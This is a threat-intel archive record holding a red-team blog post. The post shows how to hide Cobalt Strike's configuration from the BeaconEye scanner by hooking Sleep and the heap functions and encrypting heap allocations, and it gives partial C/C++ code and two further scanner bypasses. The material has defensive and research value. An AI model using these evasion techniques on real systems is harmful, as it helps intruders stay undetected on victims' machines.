{
	"id": "c51cedd6-c09e-48bb-a772-2b87e9bfce5e",
	"created_at": "2026-04-06T00:09:15.606751Z",
	"updated_at": "2026-04-10T13:12:37.125439Z",
	"deleted_at": null,
	"sha1_hash": "8dc32c6b94be20a18b41f462f9697274b4c346f2",
	"title": "Hook Heaps and Live Free",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 788310,
	"plain_text": "Hook Heaps and Live Free\r\nBy Arash's Security Thoughts n Stuff\r\nPublished: 2021-09-09 · Archived: 2026-04-05 18:20:37 UTC\r\nTable of Contents\r\n1. Introduction\r\n2. Hooking\r\n1. IAT Hooking\r\n2. Trampoline Hooking\r\n3. Putting the EXE Together\r\n4. Thread Targeted Heap Encryption: Considerations\r\n5. Additional Observations During the Journey\r\nUPDATE\r\nDecided to add a small demo of at least the EXE after all.  Here it is: https://github.com/waldo-irc/LockdExeDemo\r\nIntroduction\r\nI wanted to write this blog post to talk a bit about Cobalt Strike, function hooking, and the Windows heap.  We\r\nwill be targeting BeaconEye (https://github.com/CCob/BeaconEye) as our detection tool to bypass.\r\nRecently, I saw lots of tweets from MDSec Labs regarding NightHawk and some of its magic.  I was inspired to\r\ntry to re-create some of this magic within my own dropper to both understand it better and try to create a\r\ncompetitive dropper within my own Red Team kit.  I decided the best place to start would be with encrypting heap\r\nallocations.  \r\nLet's talk a bit about why we want to encrypt heap allocations.  Something I'm not going to go too deep into is the\r\ndifference between the stack and the heap.  The stack is locally scoped and usually falls out of scope when a\r\nfunction completes.  This means items set on the stack during the run of a function fall off the stack when the\r\nfunction returns and completes, this obviously isn't great for variables you'd like to keep long term in memory.\r\n This is where the heap comes in.  The heap is meant to be more of a long term memory storage solution.\r\n Allocations on the heap stay on the heap until your code manually frees those allocations.  This can also lead to\r\nmemory leaks if you continually allocate data onto the heap without ever freeing anything!\r\nBased on this description let's consider some of the data the heap would contain.  The heap would potentially\r\ncontain long term configuration information such as Cobalt Strike's configuration like its sacrificial process, sleep\r\ntime, paths for callbacks etc.  Knowing this, it's obvious we'd like to protect this data.  So then you say \"but wait,\r\nthere's sleep and obfuscate!\" but (unless I did something wrong) it does not appear to actually encrypt heap\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 1 of 19\n\nstrings.  This means as long as your Cobalt Strike agent is running in memory, any defender could see in basically\r\nplain text your configuration in a processes heap space.  We, as defenders, would not even need to identify your\r\ninjected thread, we could easily HeapWalk() (https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapwalk) all allocations, and identify something as simple as \"%windir%\" to try to identify your\r\nsacrificial processes  (obviously this can be changed and isn't a great hard indicator, but you get the general idea -\r\nexample code below):\r\nstatic PROCESS_HEAP_ENTRY entry;\r\nBOOL IdentifyStringInHeap() {\r\n SecureZeroMemory(\u0026entry, sizeof(entry));\r\n while (HeapWalk(GetProcessHeap(), \u0026entry)) {\r\n if ((entry.wFlags \u0026 PROCESS_HEAP_ENTRY_BUSY) != 0) {\r\n // Find str in the allocated space by iterating over its whole size\r\n // lpData is the pointer and cbData is the size\r\n findStr(\"%windir%\", entry.lpData, entry.cbData);\r\n }\r\n }\r\n}\r\n \r\nAs you can see this is quite an alarming thought.  So now that we know about this problem, we must now venture\r\nto resolve it.  This begs the question, how?\r\nSo we have several potential resolutions and problems that occur with each one.  Let's start with the case of the\r\nstandalone EXE as this one is far simpler.  This binary is your Cobalt Strike payload and nothing else.  In this case\r\nwe can very easily accomplish our goal as the only thing using the heap is our evil payload.  Using the previously\r\nmentioned HeapWalk() function we can iterate over every allocation in the heap and encrypt it!  To prevent errors\r\nwe can suspend all threads before encrypting the heap and then resume all threads post encryption.  \r\nAn important note!  Even if you think your program is single threaded, Windows appears to provide\r\nthreads in the background that do garbage collection and other types of functions for utilities like RPC and\r\nWININET, if you don't suspend those threads they will crash your process as they try to reference\r\nencrypted allocations.  Here is a sample crash below:\r\nWindows Background Threads\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 2 of 19\n\nwininet.dll Thread Crash\r\nSo in theory this is a pretty easy implementation!  The last piece of the puzzle we need to put together is how to\r\ninvoke all of this when Cobalt Strike sleeps.  The solution is simple!\r\nHooking\r\nIf we look at the IAT (Import Address Table) for the Cobalt Strike binary we will see it leverages Kernel32.dll\r\nSleep for its Sleep functionality.  \r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 3 of 19\n\nCobalt Strike Imports (Sleep is of Specific Interest)\r\nAll we need to do is hook Sleep in kernel32.dll and then alter the behavior in our hooked sleep to the following:\r\nvoid WINAPI HookedSleep(DWORD dwMiliseconds) {\r\n DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());\r\n HeapEncryptDecrypt();\r\n OldSleep(dwMiliseconds);\r\n HeapEncryptDecrypt();\r\n DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());\r\n}\r\n \r\nBasically we suspend all the threads, run our encryption routine which looks like the following:\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 4 of 19\n\nstatic PROCESS_HEAP_ENTRY entry;\r\nVOID HeapEncryptDecrypt() {\r\n SecureZeroMemory(\u0026entry, sizeof(entry));\r\n while (HeapWalk(currentHeap, \u0026entry)) {\r\n if ((entry.wFlags \u0026 PROCESS_HEAP_ENTRY_BUSY) != 0) {\r\n XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);\r\n }\r\n }\r\n}\r\n \r\nThis creates a PROCESS_HEAP_ENTRY struct, zeros it out every call, then walks the heap and puts the data in\r\nthe struct.  We then check the flags of the current heap entry and verify if it is allocated so that we only encrypt the\r\nallocations.  \r\nThen we run the original/old sleep function which will be created as part of our hooking functionality, and then\r\ndecrypt before resuming threads so we can prevent crashes when the allocations are once again referenced.  In all\r\na fairly simple process.  What we haven't touched on is the hooking capability.  \r\nFirst off, what is function hooking?  Function hooking means we are re-routing calls to a function, such as Sleep(),\r\nwithin a process space to run our arbitrary function in memory instead.  By doing this, we can change the\r\nfunctions behavior, observe the arguments being called (since our arbitrary function is now called we can print the\r\narguments passed to it for example) and even prevent the function from working at all.  In many cases, this is how\r\nEDRs work in order to monitor and alert on suspicious behavior.  They hook what they consider interesting\r\nfunctions, such as CreateRemoteThread, and log all the arguments to alert on suspicious calls later.  \r\nSo let's talk about how to hook a function, to me this was the most fun and interesting part of the whole\r\nexperience.  There are many ways to accomplish this but I'm only gonna mention two and go in depth on one.\r\n The two techniques I will mention are IAT hooking and Trampoline Patching (it's probably not the right term, I'm\r\nnot quite sure what is).\r\nIAT Hooking\r\nThe idea behind IAT hooking is simple.  Every process space has what's called an Import Address Table.  This\r\ntable contains a list of DLLs and the relevant function pointers that have been imported by the binary for usage.\r\n The recommended and most stable way of hooking is to walk the Import Address Table, identify the DLL you are\r\ntrying to hook, identify the function you would like to hook and overwrite its function pointer to your arbitrary\r\nhooked function instead.  Whenever the process calls the function it will locate the pointer and call your function\r\ninstead.  If you would like to call the old function as part of your hooked function you can store the old pointer.\r\n An example already exists at ired.team, I will link it here: https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking.\r\nNow there are advantages and disadvantages to this method.  The 2 big obvious advantages are that it is very\r\nsimple to implement and it's very stable.  You are changing what function is called and that's it, you aren't altering\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 5 of 19\n\nanything with a big risk of crashing.  Now let's talk about the disadvantages.\r\nIf anything uses GetProcAddress() to resolve the function it won't be in the IAT (though I believe you can perform\r\nEAT hooking to resolve that but that's for another time).  It's a very targeted hooking method, which can be a\r\nbenefit, but is a double edged sword if you wanna monitor a wider range of calls (such as being able to hook\r\nNtCreateThreadEx vs just CreateRemoteThread where you may miss lots of calls if they go lower level).  It's also\r\nmuch easier to detect in theory.  \r\nThis is simple enough I won't go too into it.  Here's another post on the matter as well:\r\nhttps://guidedhacking.com/threads/how-to-hook-import-address-table-iat-hooking.13555/\r\nTrampoline Patching\r\nLet's now talk about Trampoline Patching.  Trampoline Patching is much more difficult to pull off, much more\r\ndifficult to get stable, and can take a very long time to do universally for x64 due to a lot of relative addressing\r\nthat must be resolved.  Thankfully, someone already took the time to make an opensource library that performs\r\nwhat's required to accomplish all this in a very stable manner: https://github.com/TsudaKageyu/minhook.\r\nBut for the sake of learning, let's go ahead and take a look at how this kind of hooker works so we could re-implement our own if we wanted.  At first, I had considered sharing my own implementation but I decided it'd be\r\nan exercise best left to the reader (especially as other implementations for study already exist).  Instead, we will\r\ndebug my implementation to better understand how this patching mechanism works.\r\nThe idea overall works like this, wall of text incoming!  We will resolve the base of the function using\r\nGetProcAddress and LoadLibrary.  We will then resolve the first X number of instructions that are valid assembly\r\nand add up to a minimum of 5 bytes.  To be more specific, we will be using a very common technique that uses\r\nthe 5 byte relative jump opcode (E9) in order to jump to a location +- 2GB from the function base that will then\r\njump to our arbitrary function.  Obviously, for this to work we need to overwrite the first 5 bytes of the function\r\nbut if we do that we break the original function if we ever need to call it again.  To ensure we can resolve the old\r\nfunctionality if needed, we will need to save the first instruction that we will later write into a code cave as part of\r\na trampoline that will run it for us and then jump back to the functions next instruction.  But if the first instruction\r\nis only 4 bytes, we break the first opcode of the second instruction if we write 5 bytes!  So we will then need to\r\nstore the first 2 instructions in our trampoline at this point and now the trampoline will run the first two\r\ninstructions and jump back to the third instruction to continue execution.  Wherever this trampoline lives will be\r\nthe new pointer for the original function that is being hooked.  So the original function pointer now runs like so -\u003e\r\nOldFunction = Trampoline -\u003e JMP to original location of function + size of trampoline\r\n \r\nThis code cave will also have a jump to the location of our arbitrary function somewhere, the relative 5 byte jump\r\nwritten at the base of the original function jumps to this location which then jumps to the arbitrary function like so\r\n-\u003e\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 6 of 19\n\nBase of old function jmps -\u003e cave that contains the following assembly\r\nFF 25 00 00 00 00 [PUSH QWORD PTR]\r\n00 00 00 00 00 00 00 00 [This is an arbitrary pointer to your function, in your C it would be \u0026ArbitraryFunction\r\n \r\nWith this we now have a way to run our arbitrary function when the old function is called and call the old/original\r\nfunction as we need.  \r\nLet's now take a look at this while debugging.  We will hook MessageBoxA.  First, let's see what MessageBoxA\r\nlooks like clean vs hooked.\r\nFirst we hook MessageBoxA, the code looks something like:\r\n Hook(\"user32.dll\", \"MessageBoxA\", (LPVOID)NewMessageBoxA, (FARPROC*)\u0026OldMessageBoxA);\r\n \r\nMessageBoxA lives in user32.dll, so if we want to get its base address that's where we must find it.  With this we\r\nfind the base address, patch everything, add some code to a cave, resolve the relative jump, and store the\r\ntrampoline in OldMessageBoxA().\r\nOur arbitrary/hooked MessageBoxA function will look like this:\r\nint WINAPI HookedMB(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType) {\r\n return OldMB(hWnd, \"HOOKED\", lpCaption, uType);\r\n}\r\n \r\nWe need to match the return type and arguments, and here we will run the original MessageBoxA but we will alter\r\nthe text to always say \"HOOKED\" no matter what.\r\nNow let's see what it looks like before and after.\r\nBEFORE\r\nBefore Patching\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 7 of 19\n\nUnhooked message Box\r\nAFTER\r\nAfter Patching\r\nHooked Message Box\r\nSo MessageBoxA is a somewhat perfect example of the issue previously mentioned.  As you can see in the\r\nBEFORE screenshot the first instruction is only 4 bytes, this means we'll need to store the first 2 instructions, then\r\nour relative jump continues to overwrite the first 5.  We do not need to alter the remaining bytes, we will have our\r\ntrampoline execute the first 2 we stored and then jump back to location 0x00007FF8EF70AC27.  Let's continue in\r\nthe debugger to see what the new hooked functionality looks like.  We will start right after running the JMP:\r\nJump to Hooked Function\r\nHere we see 2 00's first, I do this to make sure if we are writing multiple trampolines to the cave we don't\r\noverwrite the end of a 00 00 in a function pointer.  Next we see FF 25 00 00 00 00, which is the JMP QWORD\r\nPTR instruction.  Right after you will see the 8 bytes that are the pointer to our hooked function!  If we execute\r\nthis instruction we will see:\r\nFirst Instruction in Hooked Function\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 8 of 19\n\nAnd finally:\r\nInside Hooked Function\r\nHere we can see we are in our hooked function.  The hooked function only runs and returns the old function so\r\nlets go ahead and continue execution into the old function:\r\nCall the Old Function\r\nLet's see where that leads:\r\nTrampoline\r\nIf you look at this image you can see we are executing those first 2 instructions we overwrote!  Right after the\r\ncopied bytes we do a second JMP QWORD PTR right to the location of the OriginalFunction+7 (since the size of\r\nthe trampoline is 7 bytes in this instance).  This will put us right at the start of the third instruction.  Let's see:\r\nContinued Execution\r\nHere you can see we are now at the CMP instruction, continuing execution right from where we left off!\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 9 of 19\n\nThrough this process you can see how utilities like minhook work.  Now you can either implement it yourself like\r\nI did or just use something stable like minhook.  In case you are feeling adventurous, I'll give you a freebie of\r\nsome non-optimized cave finding code that identifies any cave forward 2 gigs (you'll need to figure some parts\r\nout, nothing in life is completely free!):\r\n for (i = 0; i \u003c 2147483652; i ++) {\r\n currentByte = (LPBYTE)funcAddress + i;\r\n if (memcmp(currentByte, \"\\x00\", 1) == 0) {\r\n caveLength += 1;\r\n LPBYTE newByteForward = currentByte + 1;\r\n if (memcmp(newByteForward, \"\\x00\", 1) == 0) {\r\n while (memcmp(newByteForward, \"\\x00\", 1) == 0) {\r\n caveLength++;\r\n newByteForward++;\r\n }\r\n }\r\n if (caveLength \u003e= totalSize) {\r\n while (memcmp(currentByte - 1, \"\\x00\", 1) != 0 || memcmp(currentByte - 2, \"\\x00\", 1) != 0) {\r\n currentByte++;\r\n }\r\n // Make sure the section is executable or try again\r\n MEMORY_BASIC_INFORMATION info;\r\n VirtualQuery(currentByte, \u0026info, totalSize);\r\n if (info.AllocationProtect == 0x80 || info.AllocationProtect == 0x20 || info.AllocationProtect =\r\n break;\r\n }\r\n else {\r\n i += caveLength;\r\n caveLength = 0;\r\n continue;\r\n }\r\n }\r\n else {\r\n i += caveLength;\r\n caveLength = 0;\r\n continue;\r\n }\r\n }\r\n }\r\n \r\nPutting the EXE Together\r\nTime to put everything together and see what it looks like.  So let's go over the steps:\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 10 of 19\n\n1. Hook Sleep()\r\n2. In your hooked function suspend all threads\r\n3. Encrypt all allocations using HeapWalk()\r\n4. Run the original Sleep() through the trampoline function.\r\n5. Decrypt all allocations using HeapWalk()\r\n6. Resume all threads\r\nI'm going to assume you have your own encryption, hooking, and full thread suspension functionalities.  Code\r\nshould look something like this:\r\nstatic PROCESS_HEAP_ENTRY entry;\r\nVOID HeapEncryptDecrypt() {\r\n SecureZeroMemory(\u0026entry, sizeof(entry));\r\n while (HeapWalk(currentHeap, \u0026entry)) {\r\n if ((entry.wFlags \u0026 PROCESS_HEAP_ENTRY_BUSY) != 0) {\r\n XORFunction(key, keySize, (char*)(entry.lpData), entry.cbData);\r\n }\r\n }\r\n}\r\nstatic void(WINAPI* OrigianlSleepFunction)(DWORD dwMiliseconds);\r\nvoid WINAPI HookedSleepFunction(DWORD dwMiliseconds) {\r\n DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());\r\n HeapEncryptDecrypt();\r\n OriginalSleepFunction(dwMiliseconds);\r\n HeapEncryptDecrypt();\r\n DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());\r\n}\r\n \r\nvoid main()\r\n{\r\n DoSuspendThreads(GetCurrentProcessId(), GetCurrentThreadId());\r\n Hook(\"kernel32.dll\", \"Sleep\", (LPVOID)HookedSleepFunction, (FARPROC*)\u0026OriginalSleepFunction, true);\r\n if (!OldAlloc) {\r\n MessageBoxA(NULL, \"Hooking RtlAllocateHeap failed.\", \"Status\", NULL);\r\n }\r\n DoResumeThreads(GetCurrentProcessId(), GetCurrentThreadId());\r\n // Sleep is now hooked\r\n}\r\n \r\nAll in all very straightforward, this code obviously doesn't include your implant.  You can either run the implant in\r\nthe same process space by executing shell-code somehow, or you can turn this into a DLL and inject it into the\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 11 of 19\n\nbeacon post execution!  Since it uses HeapWalk() it can encrypt past, present, and future allocations all with no\r\nissues only needing to hook Sleep() to begin the call.  \r\nDemo time!  For the purposes of this demo we do no encryption for anything with a sleep of 1 or less.\r\nEXE HeapWalk() Encryptor Demo\r\nAs you can see, first we do a sleep of 1 and BeaconEye catches our configuration.  We change the sleep to 5,\r\nencrypting begins, and we successfully shut down BeaconEye.\r\nRemember, since this encrypts ALL heap allocations this will NOT work as an injected thread as the process it's\r\ninjected in will not function while Cobalt Strike is sleeping.  Imagine injecting into explorer.exe and every time\r\nbeacon sleeps all of explorer just freezes.  So this solution obviously isn't optimal when it comes time to inject as a\r\nthread.  If we want something that will work as a thread we will need to do way more work.\r\nThread Targeted Heap Encryption: Considerations\r\nSo our new design will have to work with a separate thread.  We will not be able to suspend additional threads, we\r\ncan't lock the heap, the main process will have to continue functioning.  This means when we inject a beacon\r\nthread we will have to ensure that ALL allocations that are encrypted are from that thread only.  If we properly\r\ntarget the thread we can successfully avoid issues.  So how can we do this?\r\nWe now have hooking capabilities in our dropper.  In order to manipulate the heap there are a subset of functions\r\ncalled.  These functions are the following within Windows:\r\n1. HeapCreate()\r\n2. HeapAllocate()\r\n3. HeapReAllocate()\r\n4. HeapFree()\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 12 of 19\n\n5. HeapDestroy()\r\nMalloc and free within Windows, located in msvcrt.dll, are actually high level wrappers for HeapAllocate() and\r\nHeapFree() which are high level wrappers for RtlAllocateHeap() and RtlFreeHeap() which are the functions\r\nwithin Windows on the lowest level that end up managing the heap directly.\r\nPicture for Proof from Ghidra\r\nThis means if we hook RtlAllocateHeap(), RtlReAllocateHeap(), and RtlFreeHeap() we can keep track of\r\neverything being allocated and freed within heap space in Cobalt Strike.  This is nice because by hooking these 3\r\nfunctions, we can insert allocations and re-allocations in a map and remove them from a map when free is called.\r\n This still doesn't solve our thread target problem though?\r\nEasy!  It turns out, if you call GetCurrentThreadId() from a hooked function, you are actually able to get the\r\nthread id of the calling thread!  Using this, you can inject your beacon, get its thread id, and do something similar\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 13 of 19\n\nto below:\r\nGlobalThreadId = GetCurrentThreadId(); We get the thread Id of our dropper!\r\nHookedHeapAlloc () {\r\n if (GlobalThreadId == GetCurrentThreadId()) { // If the calling ThreadId matches our initial thread id then\r\n // Insert allocation into a list\r\n }\r\n}\r\nDo this for the re alloc and do removes for the free as well and now you are targeting a thread!  Easy so far.  But\r\nremember that issue from before, the reason why we had to suspend other threads?  WININET and RPC calls will\r\nstill try to access encrypted memory before we decrypt it in time.  There's a few options here but I personally used\r\nwhat I think is a pretty interesting one.  Since the loaded shell-code was neither a valid EXE nor DLL, I was able\r\nto target allocations from anything that made a call that originated from a module with no name.\r\nFor this mechanism to work we need to be able to resolve the module that made the function call.  This can be\r\ndone with the following code:\r\n#include \u003cintrin.h\u003e\r\n#pragma intrinsic(_ReturnAddress)\r\nGlobalThreadId = GetCurrentThreadId(); We get the thread Id of our dropper!\r\nHookedHeapAlloc (Arg1, Arg2, Arg3) {\r\n LPVOID pointerToEncrypt = OldHeapAlloc(Arg1, Arg2, Arg3);\r\n if (GlobalThreadId == GetCurrentThreadId()) { // If the calling ThreadId matches our initial thread id then\r\n \r\n HMODULE hModule;\r\n char lpBaseName[256];\r\nif (::GetModuleHandleExA(GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, (LPCSTR)_ReturnAddress(), \u0026hM\r\n ::GetModuleBaseNameA(GetCurrentProcess(), hModule, lpBaseName, sizeof(lpBaseName));\r\n }\r\n std::string modName = lpBaseName;\r\n std::transform(modName.begin(), modName.end(), modName.begin(),\r\n [](unsigned char c) { return std::tolower(c); });\r\n if (modName.find(\"dll\") == std::string::npos \u0026\u0026 modName.find(\"exe\") == std::string::npos) {\r\n // Insert pointerToEncrypt variable into a list\r\n }\r\n }\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 14 of 19\n\n}\r\nThis will get the _ReturnAddress intrinsic and leverage it with GetModuleHandleEx and the flag\r\nGET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS in order to identify what module is making this call.\r\n We can then convert it to a lower case string and if the string does not contain DLL or EXE we go ahead and\r\ninsert it.  With this, you have a stable list of allocations to encrypt on sleep!  You will need to repeat this process\r\nfor your hooked re alloc.\r\nFor the encryption to run, you need to iterate the list and encrypt those allocations instead of doing HeapWalk()!\r\n This will depend on whether you decide to use a map, vector, linked list whatever.  The idea is you wanna store\r\nthe pointer returned by the real HeapAlloc or ReAlloc into your array and iterate the array and encrypt the data\r\nthere by size.  Arg3 in the example above is size (https://docs.microsoft.com/en-us/windows/win32/api/heapapi/nf-heapapi-heapalloc).\r\nSo now we hook 4 different functions, insert allocations based on thread id into a vector, iterate the vector and\r\nencrypt each address on sleep, and if successful, we should once again bypass BeaconEye.\r\nDemo time!  Again, for the purposes of this demo we do no encryption for anything with a sleep of 1 or less.\r\nInjecting into cmd.exe and Bypassing BeaconEye\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 15 of 19\n\nInjecting into explorer.exe and it is Stable\r\nSuccess!  We can inject into any process, encrypt only our own thread's heap, and the process won't crash just\r\nbecause we're sleeping!\r\nAdditional Observations During the Journey\r\nAlong this journey of stable heap encryption there were 3 additional interesting discoveries I made along the way.\r\n Let's go over each one 1 by 1.  \r\nThe first 2 are additional BeaconEye bypasses.  As with any tool BeaconEye has its flaws, completely by accident\r\nI discovered 2 mechanisms that bypass BeaconEye's capabilities completely.\r\nThe first, injecting into explorer.exe with beacon appears to bypass BeaconEye completely.  Demo as always:\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 16 of 19\n\nExplorer.exe BeaconEye Bypass\r\nAs you can see, injecting into cmd.exe is caught but explorer.exe seems like it must be getting scanned\r\nineffectively.\r\nAdditionally, initializing symbols in the binary also breaks BeaconEye completely with the following lines of\r\ncode:\r\n#include \u003cdbghelp.h\u003e\r\n#pragma comment(lib, \"dbghelp.lib\")\r\nSymInitialize(GetCurrentProcess(), NULL, TRUE);\r\n \r\nDemo as always:\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 17 of 19\n\nBypass BeaconEye with Symbols\r\nLastly, I noticed something a bit interesting...I'm not sure people are aware but Cobalt Strike does absolutely no\r\ncleanup on heap allocations on exit.  What does this mean?  This means if you exit an injected Cobalt Strike\r\nthread and the process doesn't restart, your configuration now stays in memory as an extract-able artifact.\r\nFinal Demo:\r\nHeap Artifacts\r\nMaybe with everything you've been taught in the blog post you could put something together to resolve this?\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 18 of 19\n\nCleaning up the Heap\r\nAs for blue teams, now you know exiting isn't the end!  I may have made some mistakes during this post, feel free\r\nto let me know and I'll gladly make corrections as education is the main goal.  I'm on Discord, you'll find me.\r\nThanks\r\nSecIdiot - for helping me think through and troubleshoot a lot in general and teaching me about\r\nHeapWalk()\r\nMr.Un1k0d3r - for teaching us about how to make malware in C and inspiring this with his hooking lesson\r\nForrestOrr - for helping me learn about hooking and trampolines and walking me through the logic of heap\r\nencryption\r\nIn my next post, I would like to look into other hooking capabilities/ideas that could help us do a few more\r\nfun things.\r\nSource: https://www.arashparsa.com/hook-heaps-and-live-free/\r\nhttps://www.arashparsa.com/hook-heaps-and-live-free/\r\nPage 19 of 19",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.arashparsa.com/hook-heaps-and-live-free/"
	],
	"report_names": [
		"hook-heaps-and-live-free"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "610a7295-3139-4f34-8cec-b3da40add480",
			"created_at": "2023-01-06T13:46:38.608142Z",
			"updated_at": "2026-04-10T02:00:03.03764Z",
			"deleted_at": null,
			"main_name": "Cobalt",
			"aliases": [
				"Cobalt Group",
				"Cobalt Gang",
				"GOLD KINGSWOOD",
				"COBALT SPIDER",
				"G0080",
				"Mule Libra"
			],
			"source_name": "MISPGALAXY:Cobalt",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434155,
	"ts_updated_at": 1775826757,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/8dc32c6b94be20a18b41f462f9697274b4c346f2.pdf",
		"text": "https://archive.orkl.eu/8dc32c6b94be20a18b41f462f9697274b4c346f2.txt",
		"img": "https://archive.orkl.eu/8dc32c6b94be20a18b41f462f9697274b4c346f2.jpg"
	}
}